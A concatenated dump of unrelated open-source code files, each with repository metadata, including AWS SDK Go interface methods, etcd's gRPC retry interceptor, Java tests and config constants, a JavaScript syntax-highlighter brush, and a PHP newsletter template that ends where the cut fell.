GetTransitGatewayConnectPeerAssociationsRequest(*networkmanager.GetTransitGatewayConnectPeerAssociationsInput) (*request.Request, *networkmanager.GetTransitGatewayConnectPeerAssociationsOutput) GetTransitGatewayConnectPeerAssociationsPages(*networkmanager.GetTransitGatewayConnectPeerAssociationsInput, func(*networkmanager.GetTransitGatewayConnectPeerAssociationsOutput, bool) bool) error GetTransitGatewayConnectPeerAssociationsPagesWithContext(aws.Context, *networkmanager.GetTransitGatewayConnectPeerAssociationsInput, func(*networkmanager.GetTransitGatewayConnectPeerAssociationsOutput, bool) bool, ...request.Option) error GetTransitGatewayRegistrations(*networkmanager.GetTransitGatewayRegistrationsInput) (*networkmanager.GetTransitGatewayRegistrationsOutput, error) GetTransitGatewayRegistrationsWithContext(aws.Context, *networkmanager.GetTransitGatewayRegistrationsInput, ...request.Option) (*networkmanager.GetTransitGatewayRegistrationsOutput, error) GetTransitGatewayRegistrationsRequest(*networkmanager.GetTransitGatewayRegistrationsInput) (*request.Request, *networkmanager.GetTransitGatewayRegistrationsOutput) GetTransitGatewayRegistrationsPages(*networkmanager.GetTransitGatewayRegistrationsInput, func(*networkmanager.GetTransitGatewayRegistrationsOutput, bool) bool) error GetTransitGatewayRegistrationsPagesWithContext(aws.Context, *networkmanager.GetTransitGatewayRegistrationsInput, func(*networkmanager.GetTransitGatewayRegistrationsOutput, bool) bool, ...request.Option) error ListTagsForResource(*networkmanager.ListTagsForResourceInput) (*networkmanager.ListTagsForResourceOutput, error) ListTagsForResourceWithContext(aws.Context, *networkmanager.ListTagsForResourceInput, ...request.Option) (*networkmanager.ListTagsForResourceOutput, error) ListTagsForResourceRequest(*networkmanager.ListTagsForResourceInput) (*request.Request, *networkmanager.ListTagsForResourceOutput) RegisterTransitGateway(*networkmanager.RegisterTransitGatewayInput) (*networkmanager.RegisterTransitGatewayOutput, error) RegisterTransitGatewayWithContext(aws.Context, *networkmanager.RegisterTransitGatewayInput, ...request.Option) (*networkmanager.RegisterTransitGatewayOutput, error) RegisterTransitGatewayRequest(*networkmanager.RegisterTransitGatewayInput) (*request.Request, *networkmanager.RegisterTransitGatewayOutput) TagResource(*networkmanager.TagResourceInput) (*networkmanager.TagResourceOutput, error) TagResourceWithContext(aws.Context, *networkmanager.TagResourceInput, ...request.Option) (*networkmanager.TagResourceOutput, error) TagResourceRequest(*networkmanager.TagResourceInput) (*request.Request, *networkmanager.TagResourceOutput) UntagResource(*networkmanager.UntagResourceInput) (*networkmanager.UntagResourceOutput, error) UntagResourceWithContext(aws.Context, *networkmanager.UntagResourceInput, ...request.Option) (*networkmanager.UntagResourceOutput, error) UntagResourceRequest(*networkmanager.UntagResourceInput) (*request.Request, *networkmanager.UntagResourceOutput) UpdateConnection(*networkmanager.UpdateConnectionInput) (*networkmanager.UpdateConnectionOutput, error) UpdateConnectionWithContext(aws.Context, *networkmanager.UpdateConnectionInput, ...request.Option) (*networkmanager.UpdateConnectionOutput, error) UpdateConnectionRequest(*networkmanager.UpdateConnectionInput) (*request.Request, *networkmanager.UpdateConnectionOutput) UpdateDevice(*networkmanager.UpdateDeviceInput) (*networkmanager.UpdateDeviceOutput, error) UpdateDeviceWithContext(aws.Context, *networkmanager.UpdateDeviceInput, ...request.Option) (*networkmanager.UpdateDeviceOutput, error) UpdateDeviceRequest(*networkmanager.UpdateDeviceInput) (*request.Request, *networkmanager.UpdateDeviceOutput) UpdateGlobalNetwork(*networkmanager.UpdateGlobalNetworkInput) (*networkmanager.UpdateGlobalNetworkOutput, error) UpdateGlobalNetworkWithContext(aws.Context, *networkmanager.UpdateGlobalNetworkInput, ...request.Option) (*networkmanager.UpdateGlobalNetworkOutput, error) UpdateGlobalNetworkRequest(*networkmanager.UpdateGlobalNetworkInput) (*request.Request, *networkmanager.UpdateGlobalNetworkOutput) UpdateLink(*networkmanager.UpdateLinkInput) (*networkmanager.UpdateLinkOutput, error) UpdateLinkWithContext(aws.Context, *networkmanager.UpdateLinkInput, ...request.Option) (*networkmanager.UpdateLinkOutput, error) UpdateLinkRequest(*networkmanager.UpdateLinkInput) (*request.Request, *networkmanager.UpdateLinkOutput) UpdateSite(*networkmanager.UpdateSiteInput) (*networkmanager.UpdateSiteOutput, error) UpdateSiteWithContext(aws.Context, *networkmanager.UpdateSiteInput, ...request.Option) (*networkmanager.UpdateSiteOutput, error) UpdateSiteRequest(*networkmanager.UpdateSiteInput) (*request.Request, *networkmanager.UpdateSiteOutput) } var _ NetworkManagerAPI = (*networkmanager.NetworkManager)(nil)
jasdel/aws-sdk-go
service/networkmanager/networkmanageriface/interface.go
GO
apache-2.0
19,020
/** * SyntaxHighlighter * http://alexgorbatchev.com/SyntaxHighlighter * * SyntaxHighlighter is donationware. If you are using it, please donate. * http://alexgorbatchev.com/SyntaxHighlighter/donate.html * * @version * 3.0.90 (Sat, 18 Jun 2016 21:01:41 GMT) * * @copyright * Copyright (C) 2004-2013 Alex Gorbatchev. * * @license * Dual licensed under the MIT and GPL licenses. */ ;(function() { // CommonJS SyntaxHighlighter = SyntaxHighlighter || (typeof require !== 'undefined'? require('shCore').SyntaxHighlighter : null); function Brush() { // Contributed by Gheorghe Milas and Ahmad Sherif var keywords = 'and assert break class continue def del elif else ' + 'except exec finally for from global if import in is ' + 'lambda not or pass raise return try yield while'; var funcs = '__import__ abs all any apply basestring bin bool buffer callable ' + 'chr classmethod cmp coerce compile complex delattr dict dir ' + 'divmod enumerate eval execfile file filter float format frozenset ' + 'getattr globals hasattr hash help hex id input int intern ' + 'isinstance issubclass iter len list locals long map max min next ' + 'object oct open ord pow print property range raw_input reduce ' + 'reload repr reversed round set setattr slice sorted staticmethod ' + 'str sum super tuple type type unichr unicode vars xrange zip'; var special = 'None True False self cls class_'; this.regexList = [ { regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' }, { regex: /^\s*@\w+/gm, css: 'decorator' }, { regex: /(['\"]{3})([^\1])*?\1/gm, css: 'comments' }, { regex: /"(?!")(?:\.|\\\"|[^\""\n])*"/gm, css: 'string' }, { regex: /'(?!')(?:\.|(\\\')|[^\''\n])*'/gm, css: 'string' }, { regex: /\+|\-|\*|\/|\%|=|==/gm, css: 'keyword' }, { regex: /\b\d+\.?\w*/g, css: 'value' }, { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' }, { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, { regex: new RegExp(this.getKeywords(special), 'gm'), css: 'color1' } ]; this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags); }; Brush.prototype = new SyntaxHighlighter.Highlighter(); Brush.aliases = ['py', 'python']; SyntaxHighlighter.brushes.Python = Brush; // CommonJS typeof(exports) != 'undefined' ? exports.Brush = Brush : null; })();
guileschool/guileschool.github.io
assets/js/syntaxhighlighter3/shBrushPython.js
JavaScript
apache-2.0
2,469
package org.apache.helix.integration.task; /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ import org.apache.helix.TestHelper; import org.apache.helix.task.JobConfig; import org.apache.helix.task.TaskPartitionState; import org.apache.helix.task.TaskState; import org.apache.helix.task.TaskUtil; import org.apache.helix.task.Workflow; import org.testng.Assert; import org.testng.annotations.BeforeClass; import org.testng.annotations.Test; public class TestUnregisteredCommand extends TaskTestBase { @BeforeClass public void beforeClass() throws Exception { setSingleTestEnvironment(); super.beforeClass(); } @Test public void testUnregisteredCommand() throws InterruptedException { String workflowName = TestHelper.getTestMethodName(); Workflow.Builder builder = new Workflow.Builder(workflowName); JobConfig.Builder jobBuilder = new JobConfig.Builder().setTargetResource(WorkflowGenerator.DEFAULT_TGT_DB) .setCommand("OtherCommand").setTimeoutPerTask(10000L).setMaxAttemptsPerTask(2) .setJobCommandConfigMap(WorkflowGenerator.DEFAULT_COMMAND_CONFIG); builder.addJob("JOB1", jobBuilder); _driver.start(builder.build()); _driver.pollForWorkflowState(workflowName, TaskState.FAILED); Assert.assertEquals(_driver.getJobContext(TaskUtil.getNamespacedJobName(workflowName, "JOB1")) .getPartitionState(0), TaskPartitionState.ERROR); Assert.assertEquals(_driver.getJobContext(TaskUtil.getNamespacedJobName(workflowName, "JOB1")) .getPartitionNumAttempts(0), 1); } }
lei-xia/helix
helix-core/src/test/java/org/apache/helix/integration/task/TestUnregisteredCommand.java
Java
apache-2.0
2,328
/* * Copyright (C) 2014-2016 LinkedIn Corp. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use * this file except in compliance with the License. You may obtain a copy of the * License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed * under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. */ package gobblin.yarn; /** * A central place for configuration related constants of Gobblin on Yarn. * * @author Yinan Li */ public class GobblinYarnConfigurationKeys { public static final String GOBBLIN_YARN_PREFIX = "gobblin.yarn."; // General Gobblin Yarn application configuration properties. public static final String APPLICATION_NAME_KEY = GOBBLIN_YARN_PREFIX + "app.name"; public static final String APP_QUEUE_KEY = GOBBLIN_YARN_PREFIX + "app.queue"; public static final String APP_REPORT_INTERVAL_MINUTES_KEY = GOBBLIN_YARN_PREFIX + "app.report.interval.minutes"; public static final String MAX_GET_APP_REPORT_FAILURES_KEY = GOBBLIN_YARN_PREFIX + "max.get.app.report.failures"; public static final String EMAIL_NOTIFICATION_ON_SHUTDOWN_KEY = GOBBLIN_YARN_PREFIX + "email.notification.on.shutdown"; // Gobblin Yarn ApplicationMaster configuration properties. public static final String APP_MASTER_MEMORY_MBS_KEY = GOBBLIN_YARN_PREFIX + "app.master.memory.mbs"; public static final String APP_MASTER_CORES_KEY = GOBBLIN_YARN_PREFIX + "app.master.cores"; public static final String APP_MASTER_JARS_KEY = GOBBLIN_YARN_PREFIX + "app.master.jars"; public static final String APP_MASTER_FILES_LOCAL_KEY = GOBBLIN_YARN_PREFIX + "app.master.files.local"; public static final String APP_MASTER_FILES_REMOTE_KEY = GOBBLIN_YARN_PREFIX + "app.master.files.remote"; public static final String APP_MASTER_WORK_DIR_NAME = "appmaster"; public static final String APP_MASTER_JVM_ARGS_KEY = GOBBLIN_YARN_PREFIX + "app.master.jvm.args"; // Gobblin Yarn container configuration properties. public static final String INITIAL_CONTAINERS_KEY = GOBBLIN_YARN_PREFIX + "initial.containers"; public static final String CONTAINER_MEMORY_MBS_KEY = GOBBLIN_YARN_PREFIX + "container.memory.mbs"; public static final String CONTAINER_CORES_KEY = GOBBLIN_YARN_PREFIX + "container.cores"; public static final String CONTAINER_JARS_KEY = GOBBLIN_YARN_PREFIX + "container.jars"; public static final String CONTAINER_FILES_LOCAL_KEY = GOBBLIN_YARN_PREFIX + "container.files.local"; public static final String CONTAINER_FILES_REMOTE_KEY = GOBBLIN_YARN_PREFIX + "container.files.remote"; public static final String CONTAINER_WORK_DIR_NAME = "container"; public static final String CONTAINER_JVM_ARGS_KEY = GOBBLIN_YARN_PREFIX + "container.jvm.args"; public static final String CONTAINER_HOST_AFFINITY_ENABLED = GOBBLIN_YARN_PREFIX + "container.affinity.enabled"; // Helix configuration properties. public static final String HELIX_INSTANCE_MAX_RETRIES = GOBBLIN_YARN_PREFIX + "helix.instance.max.retries"; // Security and authentication configuration properties. public static final String KEYTAB_FILE_PATH = GOBBLIN_YARN_PREFIX + "keytab.file.path"; public static final String KEYTAB_PRINCIPAL_NAME = GOBBLIN_YARN_PREFIX + "keytab.principal.name"; public static final String TOKEN_FILE_NAME = ".token"; public static final String LOGIN_INTERVAL_IN_MINUTES = GOBBLIN_YARN_PREFIX + "login.interval.minutes"; public static final String TOKEN_RENEW_INTERVAL_IN_MINUTES = GOBBLIN_YARN_PREFIX + "token.renew.interval.minutes"; // Resource/dependencies configuration properties. public static final String LIB_JARS_DIR_KEY = GOBBLIN_YARN_PREFIX + "lib.jars.dir"; public static final String LOGS_SINK_ROOT_DIR_KEY = GOBBLIN_YARN_PREFIX + "logs.sink.root.dir"; public static final String LIB_JARS_DIR_NAME = "_libjars"; public static final String APP_JARS_DIR_NAME = "_appjars"; public static final String APP_FILES_DIR_NAME = "_appfiles"; public static final String APP_LOGS_DIR_NAME = "_applogs"; // Other misc configuration properties. public static final String LOG_COPIER_SCHEDULER = GOBBLIN_YARN_PREFIX + "log.copier.scheduler"; public static final String LOG_COPIER_MAX_FILE_SIZE = GOBBLIN_YARN_PREFIX + "log.copier.max.file.size"; public static final String GOBBLIN_YARN_LOG4J_CONFIGURATION_FILE = "log4j-yarn.properties"; }
yukuai518/gobblin
gobblin-yarn/src/main/java/gobblin/yarn/GobblinYarnConfigurationKeys.java
Java
apache-2.0
4,517
package org.sketchertab.style; import android.graphics.Canvas; import android.graphics.PointF; import java.util.ArrayList; import java.util.Map; class SketchyStyle extends StyleBrush { private float prevX; private float prevY; private float density; private ArrayList<PointF> points = new ArrayList<PointF>(); { paint.setAntiAlias(true); } SketchyStyle(float density) { this.density = density; } @Override public void setOpacity(int opacity) { super.setOpacity((int) (opacity * 0.5f)); } public void stroke(Canvas c, float x, float y) { PointF current = new PointF(x, y); points.add(current); c.drawLine(prevX, prevY, x, y, paint); float dx; float dy; float length; for (int i = 0, max = points.size(); i < max; i++) { PointF point = points.get(i); dx = point.x - current.x; dy = point.y - current.y; length = dx * dx + dy * dy; float maxLength = 4000 * density; if (length < maxLength && Math.random() > (length / maxLength / 2)) { float ddx = dx * 0.2F; float ddy = dy * 0.2F; c.drawLine(current.x + ddx, current.y + ddy, point.x - ddx, point.y - ddy, paint); } } prevX = x; prevY = y; } public void strokeStart(float x, float y) { prevX = x; prevY = y; } public void draw(Canvas c) { } public void saveState(Map<StylesFactory.BrushType, Object> state) { ArrayList<PointF> points = new ArrayList<PointF>(); points.addAll(this.points); state.put(StylesFactory.BrushType.SKETCHY, points); } @SuppressWarnings("unchecked") public void restoreState(Map<StylesFactory.BrushType, Object> state) { this.points.clear(); ArrayList<PointF> points = (ArrayList<PointF>) state .get(StylesFactory.BrushType.SKETCHY); this.points.addAll(points); } }
dkovalkov/Sketcher-Tab
src/org/sketchertab/style/SketchyStyle.java
Java
apache-2.0
2,060
sap.ui.define([ "sap/ui/core/UIComponent" ], function(UIComponent) { "use strict"; return UIComponent.extend("sap.ui.webc.main.sample.FileUploader.Component", { metadata: { manifest: "json" } }); });
SAP/openui5
src/sap.ui.webc.main/test/sap/ui/webc/main/demokit/sample/FileUploader/Component.js
JavaScript
apache-2.0
213
package it.backbox.client.rest.bean; import com.google.api.client.util.Key; public class BoxError { @Key public String type; @Key public int status; @Key public String code; @Key public BoxContextInfo context_info; }
dagix5/backbox
BackBox/src/it/backbox/client/rest/bean/BoxError.java
Java
apache-2.0
255
package com.jiangjg.lib.EffectiveJava; class Insect{ private int i=9; protected int j; private int xx=printInit("xx"); public Insect() { System.out.println("i=" + i + ", j=" +j); j=39; } private static int x1=printInit("static I1"); static int printInit(String s){ System.out.println(s); return 47; } } public class Beetle extends Insect { public Beetle(){ System.out.println("k=" +k); System.out.println("j="+j); } private int k = printInit("B.k"); private static int x2=printInit("static 2"); /** * @param args */ public static void main(String[] args) { // TODO Auto-generated method stub System.out.println("bb"); Beetle beetle = new Beetle(); } }
jiangjiguang/lib-java
src/com/jiangjg/lib/EffectiveJava/Beetle.java
Java
apache-2.0
700
// Copyright 2016 The etcd Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Based on github.com/grpc-ecosystem/go-grpc-middleware/retry, but modified to support the more // fine grained error checking required by write-at-most-once retry semantics of etcd. package clientv3 import ( "context" "io" "sync" "time" "go.etcd.io/etcd/etcdserver/api/v3rpc/rpctypes" "go.uber.org/zap" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/metadata" "google.golang.org/grpc/status" ) // unaryClientInterceptor returns a new retrying unary client interceptor. // // The default configuration of the interceptor is to not retry *at all*. This behaviour can be // changed through options (e.g. WithMax) on creation of the interceptor or on call (through grpc.CallOptions). func (c *Client) unaryClientInterceptor(logger *zap.Logger, optFuncs ...retryOption) grpc.UnaryClientInterceptor { intOpts := reuseOrNewWithCallOptions(defaultOptions, optFuncs) return func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { ctx = withVersion(ctx) grpcOpts, retryOpts := filterCallOptions(opts) callOpts := reuseOrNewWithCallOptions(intOpts, retryOpts) // short circuit for simplicity, and avoiding allocations. if callOpts.max == 0 { return invoker(ctx, method, req, reply, cc, grpcOpts...) } var lastErr error for attempt := uint(0); attempt < callOpts.max; attempt++ { if err := waitRetryBackoff(ctx, attempt, callOpts); err != nil { return err } logger.Debug( "retrying of unary invoker", zap.String("target", cc.Target()), zap.Uint("attempt", attempt), ) lastErr = invoker(ctx, method, req, reply, cc, grpcOpts...) if lastErr == nil { return nil } logger.Warn( "retrying of unary invoker failed", zap.String("target", cc.Target()), zap.Uint("attempt", attempt), zap.Error(lastErr), ) if isContextError(lastErr) { if ctx.Err() != nil { // its the context deadline or cancellation. return lastErr } // its the callCtx deadline or cancellation, in which case try again. continue } if callOpts.retryAuth && rpctypes.Error(lastErr) == rpctypes.ErrInvalidAuthToken { gterr := c.getToken(ctx) if gterr != nil { logger.Warn( "retrying of unary invoker failed to fetch new auth token", zap.String("target", cc.Target()), zap.Error(gterr), ) return gterr // lastErr must be invalid auth token } continue } if !isSafeRetry(c.lg, lastErr, callOpts) { return lastErr } } return lastErr } } // streamClientInterceptor returns a new retrying stream client interceptor for server side streaming calls. // // The default configuration of the interceptor is to not retry *at all*. This behaviour can be // changed through options (e.g. WithMax) on creation of the interceptor or on call (through grpc.CallOptions). // // Retry logic is available *only for ServerStreams*, i.e. 1:n streams, as the internal logic needs // to buffer the messages sent by the client. If retry is enabled on any other streams (ClientStreams, // BidiStreams), the retry interceptor will fail the call. func (c *Client) streamClientInterceptor(logger *zap.Logger, optFuncs ...retryOption) grpc.StreamClientInterceptor { intOpts := reuseOrNewWithCallOptions(defaultOptions, optFuncs) return func(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) { ctx = withVersion(ctx) // getToken automatically // TODO(cfc4n): keep this code block, remove codes about getToken in client.go after pr #12165 merged. if c.authTokenBundle != nil { // equal to c.Username != "" && c.Password != "" err := c.getToken(ctx) if err != nil && rpctypes.Error(err) != rpctypes.ErrAuthNotEnabled { logger.Error("clientv3/retry_interceptor: getToken failed", zap.Error(err)) return nil, err } } grpcOpts, retryOpts := filterCallOptions(opts) callOpts := reuseOrNewWithCallOptions(intOpts, retryOpts) // short circuit for simplicity, and avoiding allocations. if callOpts.max == 0 { return streamer(ctx, desc, cc, method, grpcOpts...) } if desc.ClientStreams { return nil, status.Errorf(codes.Unimplemented, "clientv3/retry_interceptor: cannot retry on ClientStreams, set Disable()") } newStreamer, err := streamer(ctx, desc, cc, method, grpcOpts...) if err != nil { logger.Error("streamer failed to create ClientStream", zap.Error(err)) return nil, err // TODO(mwitkow): Maybe dial and transport errors should be retriable? } retryingStreamer := &serverStreamingRetryingStream{ client: c, ClientStream: newStreamer, callOpts: callOpts, ctx: ctx, streamerCall: func(ctx context.Context) (grpc.ClientStream, error) { return streamer(ctx, desc, cc, method, grpcOpts...) }, } return retryingStreamer, nil } } // type serverStreamingRetryingStream is the implementation of grpc.ClientStream that acts as a // proxy to the underlying call. If any of the RecvMsg() calls fail, it will try to reestablish // a new ClientStream according to the retry policy. type serverStreamingRetryingStream struct { grpc.ClientStream client *Client bufferedSends []interface{} // single message that the client can sen receivedGood bool // indicates whether any prior receives were successful wasClosedSend bool // indicates that CloseSend was closed ctx context.Context callOpts *options streamerCall func(ctx context.Context) (grpc.ClientStream, error) mu sync.RWMutex } func (s *serverStreamingRetryingStream) setStream(clientStream grpc.ClientStream) { s.mu.Lock() s.ClientStream = clientStream s.mu.Unlock() } func (s *serverStreamingRetryingStream) getStream() grpc.ClientStream { s.mu.RLock() defer s.mu.RUnlock() return s.ClientStream } func (s *serverStreamingRetryingStream) SendMsg(m interface{}) error { s.mu.Lock() s.bufferedSends = append(s.bufferedSends, m) s.mu.Unlock() return s.getStream().SendMsg(m) } func (s *serverStreamingRetryingStream) CloseSend() error { s.mu.Lock() s.wasClosedSend = true s.mu.Unlock() return s.getStream().CloseSend() } func (s *serverStreamingRetryingStream) Header() (metadata.MD, error) { return s.getStream().Header() } func (s *serverStreamingRetryingStream) Trailer() metadata.MD { return s.getStream().Trailer() } func (s *serverStreamingRetryingStream) RecvMsg(m interface{}) error { attemptRetry, lastErr := s.receiveMsgAndIndicateRetry(m) if !attemptRetry { return lastErr // success or hard failure } // We start off from attempt 1, because zeroth was already made on normal SendMsg(). for attempt := uint(1); attempt < s.callOpts.max; attempt++ { if err := waitRetryBackoff(s.ctx, attempt, s.callOpts); err != nil { return err } newStream, err := s.reestablishStreamAndResendBuffer(s.ctx) if err != nil { s.client.lg.Error("failed reestablishStreamAndResendBuffer", zap.Error(err)) return err // TODO(mwitkow): Maybe dial and transport errors should be retriable? } s.setStream(newStream) s.client.lg.Warn("retrying RecvMsg", zap.Error(lastErr)) attemptRetry, lastErr = s.receiveMsgAndIndicateRetry(m) if !attemptRetry { return lastErr } } return lastErr } func (s *serverStreamingRetryingStream) receiveMsgAndIndicateRetry(m interface{}) (bool, error) { s.mu.RLock() wasGood := s.receivedGood s.mu.RUnlock() err := s.getStream().RecvMsg(m) if err == nil || err == io.EOF { s.mu.Lock() s.receivedGood = true s.mu.Unlock() return false, err } else if wasGood { // previous RecvMsg in the stream succeeded, no retry logic should interfere return false, err } if isContextError(err) { if s.ctx.Err() != nil { return false, err } // its the callCtx deadline or cancellation, in which case try again. return true, err } if s.callOpts.retryAuth && rpctypes.Error(err) == rpctypes.ErrInvalidAuthToken { gterr := s.client.getToken(s.ctx) if gterr != nil { s.client.lg.Warn("retry failed to fetch new auth token", zap.Error(gterr)) return false, err // return the original error for simplicity } return true, err } return isSafeRetry(s.client.lg, err, s.callOpts), err } func (s *serverStreamingRetryingStream) reestablishStreamAndResendBuffer(callCtx context.Context) (grpc.ClientStream, error) { s.mu.RLock() bufferedSends := s.bufferedSends s.mu.RUnlock() newStream, err := s.streamerCall(callCtx) if err != nil { return nil, err } for _, msg := range bufferedSends { if err := newStream.SendMsg(msg); err != nil { return nil, err } } if err := newStream.CloseSend(); err != nil { return nil, err } return newStream, nil } func waitRetryBackoff(ctx context.Context, attempt uint, callOpts *options) error { waitTime := time.Duration(0) if attempt > 0 { waitTime = callOpts.backoffFunc(attempt) } if waitTime > 0 { timer := time.NewTimer(waitTime) select { case <-ctx.Done(): timer.Stop() return contextErrToGrpcErr(ctx.Err()) case <-timer.C: } } return nil } // isSafeRetry returns "true", if request is safe for retry with the given error. func isSafeRetry(lg *zap.Logger, err error, callOpts *options) bool { if isContextError(err) { return false } switch callOpts.retryPolicy { case repeatable: return isSafeRetryImmutableRPC(err) case nonRepeatable: return isSafeRetryMutableRPC(err) default: lg.Warn("unrecognized retry policy", zap.String("retryPolicy", callOpts.retryPolicy.String())) return false } } func isContextError(err error) bool { return grpc.Code(err) == codes.DeadlineExceeded || grpc.Code(err) == codes.Canceled } func contextErrToGrpcErr(err error) error { switch err { case context.DeadlineExceeded: return status.Errorf(codes.DeadlineExceeded, err.Error()) case context.Canceled: return status.Errorf(codes.Canceled, err.Error()) default: return status.Errorf(codes.Unknown, err.Error()) } } var ( defaultOptions = &options{ retryPolicy: nonRepeatable, max: 0, // disable backoffFunc: backoffLinearWithJitter(50*time.Millisecond /*jitter*/, 0.10), retryAuth: true, } ) // backoffFunc denotes a family of functions that control the backoff duration between call retries. // // They are called with an identifier of the attempt, and should return a time the system client should // hold off for. If the time returned is longer than the `context.Context.Deadline` of the request // the deadline of the request takes precedence and the wait will be interrupted before proceeding // with the next iteration. type backoffFunc func(attempt uint) time.Duration // withRetryPolicy sets the retry policy of this call. func withRetryPolicy(rp retryPolicy) retryOption { return retryOption{applyFunc: func(o *options) { o.retryPolicy = rp }} } // withMax sets the maximum number of retries on this call, or this interceptor. func withMax(maxRetries uint) retryOption { return retryOption{applyFunc: func(o *options) { o.max = maxRetries }} } // WithBackoff sets the `BackoffFunc `used to control time between retries. func withBackoff(bf backoffFunc) retryOption { return retryOption{applyFunc: func(o *options) { o.backoffFunc = bf }} } type options struct { retryPolicy retryPolicy max uint backoffFunc backoffFunc retryAuth bool } // retryOption is a grpc.CallOption that is local to clientv3's retry interceptor. type retryOption struct { grpc.EmptyCallOption // make sure we implement private after() and before() fields so we don't panic. applyFunc func(opt *options) } func reuseOrNewWithCallOptions(opt *options, retryOptions []retryOption) *options { if len(retryOptions) == 0 { return opt } optCopy := &options{} *optCopy = *opt for _, f := range retryOptions { f.applyFunc(optCopy) } return optCopy } func filterCallOptions(callOptions []grpc.CallOption) (grpcOptions []grpc.CallOption, retryOptions []retryOption) { for _, opt := range callOptions { if co, ok := opt.(retryOption); ok { retryOptions = append(retryOptions, co) } else { grpcOptions = append(grpcOptions, opt) } } return grpcOptions, retryOptions } // BackoffLinearWithJitter waits a set period of time, allowing for jitter (fractional adjustment). // // For example waitBetween=1s and jitter=0.10 can generate waits between 900ms and 1100ms. func backoffLinearWithJitter(waitBetween time.Duration, jitterFraction float64) backoffFunc { return func(attempt uint) time.Duration { return jitterUp(waitBetween, jitterFraction) } }
tgraf/cilium
vendor/go.etcd.io/etcd/clientv3/retry_interceptor.go
GO
apache-2.0
13,272
<?php require ("../administrator/models/Base.php"); require ("../administrator/models/Cliente.php"); require ("../administrator/models/Oferta.php"); require ("../administrator/models/Empresa.php"); $objOferta = new Oferta(); $oferta1 = $objOferta->listarOferta(" and ativa = 1 and posicao in (1,2)"); $oferta2 = $objOferta->listarOferta(" and ativa = 1 and posicao not in (1,2)"); function abreviaString($texto, $limite, $tres_p = '...') { $totalCaracteres = 0; //Cria um array com todas as palavras do texto $vetorPalavras = explode(" ",$texto); if(strlen($texto) <= $limite): $tres_p = ""; $novoTexto = $texto; else: //Começa a criar o novo texto resumido. $novoTexto = ""; //Acrescenta palavra por palavra na string enquanto ela //não exceder o tamanho máximo do resumo for($i = 0; $i <count($vetorPalavras); $i++): $totalCaracteres += strlen(" ".$vetorPalavras[$i]); if($totalCaracteres <= $limite) $novoTexto .= ' ' . $vetorPalavras[$i]; else break; endfor; endif; return $novoTexto . $tres_p; }?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> </head> <body> <table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#324e01" align="center"> <tbody> <tr> <td align="center"><br /> <table width="600" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF"> <tr> <td><a href="http://www.edegraca.com.br" target="_blank"><img src="http://www.edegraca.com.br/newsletter-html/images/topo.jpg" width="600" height="123" alt="topo" /></a></td> </tr> <tr> <td align="center"> <table width="590" style="font-family:'Trebuchet MS', Arial, Helvetica, sans-serif" id="tudo"> <tr> <td><table width="590" border="0" cellspacing="10" cellpadding="0"> <tr> <?php foreach($oferta1['oferta'] as $dados1){?> <td valign="top"> <table width="275" border="0" cellspacing="0" cellpadding="0" class="promo1"> <tr> <td> <table cellspacing="10" width="275"> <tr> <td style="color:#3a5403; font-size:13px; font-weight:bold"><?php $ofetatxt = str_replace("[span]","<span>",$dados1["titulo"]); $ofetatxt = str_replace("[/span]","</span>",$ofetatxt); echo $ofetatxt;?> </td> </tr> </table> </td> </tr> <tr> <td><img src="http://www.edegraca.com.br/newsletter-html/images/promo-top.jpg" alt="" width="275" height="17" /></td> </tr> <tr> <td><table width="275" border="0" cellspacing="0" cellpadding="0"> <tr> <td><img src="http://www.edegraca.com.br/newsletter-html/images/promo-left.jpg" alt="" width="15" height="164" /></td> <td width="237"><?php $dadosimg = $objOferta->getOfertaImagem($dados1['id'],"id_oferta")?><img src="http://www.edegraca.com.br/administrator/uploads/<?php echo $dadosimg['image']?>" alt="" width="237" height="164" /></td> <td><img src="http://www.edegraca.com.br/newsletter-html/images/promo-right.jpg" alt="" width="23" height="164" /></td> </tr> </table></td> </tr> <tr> <td><img src="http://www.edegraca.com.br/newsletter-html/images/promo-bottom.jpg" alt="" width="275" height="12" /></td> </tr> <tr> <td><table width="275" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="9"><img src="http://www.edegraca.com.br/newsletter-html/images/space.jpg" alt="" width="9" height="53" /></td> <td style="background:#40590b; border-bottom-left-radius:5px; border-bottom-right-radius:5px; -moz-border-radius-bottomleft:5px; -moz-border-radius-bottomright:5px; -webkit-border-bottom-left-radius:5px;-webkit-border-bottom-right-radius:5px"><table width="246" border="0" cellspacing="0" cellpadding="5"> <tr> <td 